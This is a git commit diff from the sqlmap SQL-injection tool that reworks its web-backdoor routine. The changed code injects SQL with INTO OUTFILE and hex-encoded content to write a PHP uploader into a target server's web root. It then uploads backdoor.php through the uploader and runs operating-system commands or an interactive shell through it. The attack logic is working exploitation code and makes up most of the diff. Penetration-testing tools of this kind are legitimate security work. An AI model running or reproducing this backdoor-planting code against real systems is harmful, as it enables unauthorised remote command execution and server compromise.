Almost done with web backdoor functionality

This commit is contained in:
Bernardo Damele 2009-04-28 11:05:07 +00:00
parent 16b4530bbe
commit 1d7de719b9
4 changed files with 69 additions and 76 deletions

View File

@ -225,6 +225,7 @@ def getHtmlErrorFp():
def getDocRoot():
docRoot = None
pagePath = os.path.dirname(conf.path)
if kb.os == "Windows":
defaultDocRoot = "C:\\Inetput\\wwwroot\\"
@ -241,8 +242,8 @@ def getDocRoot():
absFilePath = os.path.normpath(absFilePath)
if os.path.dirname(conf.path) in absFilePath:
index = absFilePath.index(conf.path)
if pagePath in absFilePath:
index = absFilePath.index(pagePath)
docRoot = absFilePath[:index]
if absFilePathWin:

View File

@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import re
from lib.core.data import conf
@ -79,4 +80,4 @@ def parseResponse(page, headers):
for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath)
kb.absFilePaths.add(os.path.dirname(absFilePath))

View File

@ -33,6 +33,7 @@ from lib.core.common import getDirs
from lib.core.common import getDocRoot
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import hexencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@ -79,112 +80,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
return output
def __webBackdoorOsShell(self):
"""
This method is used to write a PHP agent (cmd.php) on a writable
remote directory within the web server document root.
Such agent is written using the INTO OUTFILE MySQL DBMS
functionality
@todo:
* Add a web application crawling functionality to detect
all (at least most) web server directories and merge with
Google results if the target host is a publicly available
hostname or IP address;
* Extend the agent to other interpreters rather than only PHP:
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
"""
self.checkDbmsOs()
kb.docRoot = getDocRoot()
directories = getDirs()
infoMsg = "trying to upload the uploader agent"
logger.info(infoMsg)
directories = list(directories)
directories.sort()
uploaded = False
# TODO: backdoor and uploader extensions must be the same as of
# the web application language in use
backdoorName = "backdoor.php"
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.php"
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
if kb.os == "Windows":
sep = "\\\\"
else:
sep = "/"
for directory in directories:
if uploaded:
break
# Upload the uploader agent
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query = " LIMIT 1 INTO DUMPFILE '%s%s%s' " % (directory, sep, uploaderName)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
requestDir = directory.replace(kb.docRoot, "/").replace("\\", "/")
requestDir = os.path.normpath(requestDir)
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
uploaderUrl = os.path.normpath(uploaderUrl)
page, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in page:
warnMsg = "unable to upload the uploader "
warnMsg += "agent on '%s'" % directory
logger.warn(warnMsg)
continue
infoMsg = "the uploader agent has been successfully uploaded "
infoMsg += "on '%s'" % directory
logger.info(infoMsg)
# Upload the backdoor through the uploader agent
multipartParams = {
"upload": "1",
"file": open(backdoorPath, "r"),
"uploadDir": directory,
}
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
if "Backdoor uploaded" not in page:
warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg)
continue
uploaded = True
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
infoMsg = "the backdoor has been successfully uploaded on "
infoMsg += "'%s', go with your browser to " % directory
infoMsg += "'%s' and enjoy it!" % backdoorUrl
logger.info(infoMsg)
if conf.osShell:
message = "do you want to use the uploaded backdoor as a "
message += "shell to execute commands right now? [Y/n] "
shell = readInput(message, default="Y")
if shell in ("n", "N"):
continue
def __webBackdoorShell(self, backdoorUrl):
infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
@ -215,6 +111,91 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
self.__webBackdoorRunCmd(backdoorUrl, command)
def __webBackdoorInit(self):
"""
This method is used to write a PHP agent (cmd.php) on a writable
remote directory within the web server document root.
Such agent is written using the INTO OUTFILE MySQL DBMS
functionality
"""
self.checkDbmsOs()
backdoorUrl = None
kb.docRoot = getDocRoot()
directories = getDirs()
directories = list(directories)
directories.sort()
infoMsg = "trying to upload the uploader agent"
logger.info(infoMsg)
# TODO: backdoor and uploader extensions must be the same as of
# the web application language in use
backdoorName = "backdoor.php"
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.php"
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
if kb.os == "Windows":
sep = "\\\\"
else:
sep = "/"
for directory in directories:
# Upload the uploader agent
outFile = os.path.normpath("%s%s%s" % (directory, sep, uploaderName))
uplQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in uplPage:
warnMsg = "unable to upload the uploader "
warnMsg += "agent on '%s'" % directory
logger.warn(warnMsg)
continue
infoMsg = "the uploader agent has been successfully uploaded "
infoMsg += "on '%s'" % directory
logger.info(infoMsg)
# Upload the backdoor through the uploader agent
multipartParams = {
"upload": "1",
"file": open(backdoorPath, "r"),
"uploadDir": directory,
}
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
if "Backdoor uploaded" not in page:
warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg)
continue
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
infoMsg = "the backdoor has been successfully uploaded on "
infoMsg += "'%s', go with your browser to " % directory
infoMsg += "'%s' and enjoy it!" % backdoorUrl
logger.info(infoMsg)
break
return backdoorUrl
def uploadChurrasco(self):
msg = "do you want sqlmap to upload Churrasco and call the "
msg += "Metasploit payload stager as its argument so that it "
@ -243,8 +224,15 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
stackedTest()
if kb.stackedTest == False:
return
infoMsg = "going to upload a web page backdoor for command "
infoMsg += "execution"
logger.info(infoMsg)
backdoorUrl = self.__webBackdoorInit()
if backdoorUrl:
self.__webBackdoorRunCmd(backdoorUrl, conf.osCmd)
else:
self.initEnv()
self.runCmd(conf.osCmd)
@ -257,7 +245,10 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
infoMsg += "execution"
logger.info(infoMsg)
self.__webBackdoorOsShell()
backdoorUrl = self.__webBackdoorInit()
if backdoorUrl:
self.__webBackdoorShell(backdoorUrl)
else:
self.initEnv()
self.absOsShell()